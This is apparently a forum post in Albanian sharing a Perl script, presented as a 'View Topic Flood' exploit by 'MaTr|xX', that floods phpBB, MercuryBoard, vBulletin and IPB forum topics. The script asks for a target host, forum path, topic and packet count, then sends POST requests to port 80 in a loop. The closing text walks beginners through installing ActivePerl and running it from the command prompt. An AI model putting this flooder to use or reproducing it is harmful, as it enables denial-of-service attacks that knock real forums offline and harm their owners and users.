sulo me perla

#!/usr/bin/perl
print q{
__________________________________________________ _______________________


>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>>>>

/ \
\ \ ,, / /
'-.`\()/`.-'
.--_'( )'_--.
/ /` /`""`\ `\ \ * MaTr|xX defacment *
| | >< | |
\ \ / /
'.__.'


=> View Topic Flood phpBB, MercuryBoard, Vbulletin, Ipb
=> Sito: skemi
=> Sito2: aha
=> Author: MaTr|xX (PsyCh0z)
=> Bug i fort hawer, Exploitet by by ?? MaTr|xX me msusin
__________________________________________________ _______________________
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>>>>
};
use IO::Socket;
print q{
-------------------------------------------------------------------------
=> Exploit created by: MaTr|xX
=> Merr Webin
=> Shkruje web-in pa http weq www
=> };
$host = <STDIN>;
chop ($host);
print q{
-------------------------------------------------------------------------
=> Sheno Direktoriumin
=> Direktoriumi: ( /Forum/ )
=> };
$pth = <STDIN>;
chop ($pth);
print q{
-------------------------------------------------------------------------
=> phpBB ( viewtopic.php?t= )
=> MercuryBoard ( index.php?a=topic&t= )
=> Vbulletin ( showthread.php?t= )
=> Ipb ( index.php?showtopic= )
=> };
$t = <STDIN>;
chop ($t);
print q{
-------------------------------------------------------------------------
=> Numri Topic-ut
=> Es: viewtopic.php?t=1 ( 1, 2, 3, ecc.. )
=> };
$topic = <STDIN>;
chop ($topic);
print q{
-------------------------------------------------------------------------
=> Zgjidh njeren prej packetave qe don me ja rrshu ? ( 1 / 10000 )
=> };
$while = <STDIN>;
chop ($while);
while($x != $while )
{
$lrg = length $postit;
my $sock = new IO::Socket::INET
(
PeerAddr => "$host",
PeerPort => "80",
Proto => "tcp",
);
die "\nThe Socket: $!\n" unless $sock;
print $sock "POST $pth"."$t$topic HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Referer: $host\n";
print $sock "Connection: Keep-Alive\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, ".";
$x++;
}
print q{
-------------------------------------------------------------------------
=> Attack Complet !
=> MaTr|xX Disoder:D
-------------------------------------------------------------------------
};

per ata qe sdin me i perdor Exploitat
se pari duhet me pas programin Active Perl
downloadu ketu http://downloads.activestate.com/ActivePerl/Windows/5.8/ActivePerl-5.8.7.813-MSWin32-x86-148120.msi
pastaj e hapim notepad e rujm Exploitin ja lajm nje emer.pl pastaj e hapim Start -Run- Cmd - e shkrujna cd C:\ pastaj e shkrujna Desktop nese e kena ru ne desktop dhe e shenojm emrin.pl ose nese nuk dini keshtu veq e hapim cmd dhe me maus e kapim exploitin e zhvendosim ne cmd dhe enter ju hapet Exploiti